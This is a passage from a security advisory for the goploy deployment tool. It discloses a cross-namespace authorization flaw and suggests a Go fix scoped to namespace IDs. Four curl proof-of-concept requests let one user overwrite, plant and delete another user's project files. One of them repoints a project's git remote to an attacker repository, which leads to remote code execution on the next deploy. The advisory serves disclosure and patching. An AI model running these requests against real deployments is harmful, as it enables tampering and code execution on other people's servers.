Details
Negative control: Bob's own namespace has no projects.
curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}
Exploit 1 — Bob overwrites Alice's file content:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
-d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}
docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b
Exploit 2 — Bob plants a new file in Alice's project directory:
curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}
docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker alice-secrets.yml
Exploit 3 — Bob deletes Alice's file:
curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
-d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project_1/.
Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
-d '{"id":1,"name":"alice-prod","repoType":"git",
"url":"[email protected]:attacker/payload.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master",
"transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}
docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
-e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | [email protected]:attacker/payload.git
Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.
Suggested fix
Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.
internal/model/project_file.go:
func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
var projectFile ProjectFile
err := sq.
Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
From(projectFileTable + " pf").
Join("project p ON p.id = pf.project_id").
Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
RunWith(DB).
QueryRow().
Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
&projectFile.InsertTime, &projectFile.UpdateTime)
return projectFile, err
}
internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.
cmd/server/api/project/handler.go:
EditFileandRemoveFileswitch tomodel.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).AddFilecalls a newmodel.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)precheck beforeos.CreateandAddRow.Editcallsmodel.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)beforeEditRow.
sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.
Patch
Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.
Credit
Reported by tonghuaroot.